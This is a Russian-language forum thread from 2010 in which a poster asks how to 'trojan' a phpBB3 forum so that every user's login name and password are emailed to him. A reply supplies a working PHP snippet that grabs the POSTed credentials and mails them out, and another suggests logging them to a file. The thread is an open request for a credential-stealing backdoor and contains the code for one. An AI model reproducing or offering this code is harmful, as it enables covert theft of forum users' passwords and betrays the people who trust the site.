Помогите протроянить phpBB3

Discussion in 'Песочница' started by Rihard Zorge, 14 May 2010.

  1. Rihard Zorge

    Rihard Zorge New Member

    Joined:
    25 Apr 2010
    Messages:
    15
    Likes Received:
    0
    Reputations:
    0
    Наверное, неправильно назвал тему :).

    Собственно, хочу изменить файл www.site.com/forum/ucp.php, с такой целью, чтобы мне на мыло автоматом отсылались Имя:Пароль вновь залогиненных юзеров. Как бы мне это сделать?
    Имею абсолютно полный доступ (админка, ftp, хостинг и т.д.). Форма логина стандартная phpBB:
    Code:
    [SIZE=1]<form action="./ucp.php?mode=login" method="post" id="login">
    <div class="panel">
    	<div class="inner"><span class="corners-top"><span></span></span>
    
    	<div class="content">
    		<h2>Please login in order to access the User Control Panel.</h2>
    		
    		<fieldset class="fields1">
    		
    		<dl>
    			<dt><label for="username">Username:</label></dt>
    
    			<dd><input tabindex="1" name="username" id="username" size="25" value="" class="inputbox autowidth" type="text"></dd>
    		</dl>
    		<dl>
    			<dt><label for="password">Password:</label></dt>
    			<dd><input tabindex="2" id="password" name="password" size="25" class="inputbox autowidth" type="password"></dd>
    			<dd><a href="./ucp.php?mode=sendpassword">I forgot my password</a></dd><dd><a href="./ucp.php?mode=resend_act">Resend activation e-mail</a></dd>
    		</dl>
    
    		
    		
    		<dl>
    			<dd><label for="autologin"><input name="autologin" id="autologin" tabindex="4" type="checkbox"> Log me on automatically each visit</label></dd>
    			<dd><label for="viewonline"><input name="viewonline" id="viewonline" tabindex="5" type="checkbox"> Hide my online status this session</label></dd>
    		</dl>
    		
    		<dl>
    			<dt>&nbsp;</dt>
    			<dd><input name="sid" value="38670321e1ac29b6f59dabfc59b1c167" type="hidden">
    
    <input name="login" tabindex="6" value="Login" class="button1" type="submit"></dd>
    		</dl>
    		<input name="redirect" value="./ucp.php?" type="hidden">
    
    
    		</fieldset>
    	</div>
    	<span class="corners-bottom"><span></span></span></div>
    </div>
    
    
    	<div class="panel">
    
    		<div class="inner"><span class="corners-top"><span></span></span>
    
    		<div class="content">
    			<h3>Register</h3>
    			<p>In order to login you must be registered. Registering takes only a few moments but gives you increased capabilities. The board administrator may also grant additional permissions to registered users. Before you register please ensure you are familiar with our terms of use and related policies. Please ensure you read any forum rules as you navigate around the board.</p>
    			<p><strong><a href="./ucp.php?mode=terms">Terms of use</a> | <a href="./ucp.php?mode=privacy">Privacy policy</a></strong></p>
    
    			<hr class="dashed">
    			<p><a href="./ucp.php?mode=register" class="button2">Register</a></p>
    		</div>
    
    		<span class="corners-bottom"><span></span></span></div>
    	</div>
    
    
    </form>[/SIZE]
     
  2. qq6ka

    qq6ka Banned

    Joined:
    21 May 2010
    Messages:
    35
    Likes Received:
    19
    Reputations:
    21
    дописать нужный код, не?
     
  3. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    343
    Likes Received:
    32
    Reputations:
    7
    PHP:
    $name $_POST['username'];
    $password $_POST['password'];
    mail("your@email.com""Your Theme"$name.":".$password); 
     
    #3 .::f-duck::., 10 Jun 2010
    Last edited: 10 Jun 2010
  4. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    При условии если функция mail поддерживается хостером. если нет тогда через smtp делай. или тупо стучалку, чтобы в лог фаил тебе записывала.
     
  5. MVadim

    MVadim Elder - Старейшина

    Joined:
    6 Oct 2007
    Messages:
    397
    Likes Received:
    164
    Reputations:
    9
    неужели такой маленький форум у тебя...
     
Loading...